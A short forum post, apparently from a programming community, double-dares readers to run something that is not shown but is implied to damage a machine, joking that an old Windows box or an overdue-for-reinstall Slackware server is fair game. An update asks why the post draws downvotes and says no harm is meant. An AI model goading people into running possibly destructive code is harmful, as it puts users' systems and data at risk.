Not only a dare, it is a double-dare!

Come on, you know you want to... that old Windows machine isn't doing much good anyway, and the Slackware server is long overdue for a reinstall, so here is your chance to get some extra incentive to get going with the job. :)

Or?

Update: Interesting, I get a lot of downvotes on this one. I wonder if it is because people think I do mean harm (I don't, and it would have been deleted if so I'm sure), because they don't understand it, or because it sucks? :) Please comment, I won't hold it against you. :) Or /msg me if you don't want to waste a post... I respect the opinions, but I am really curious. :)
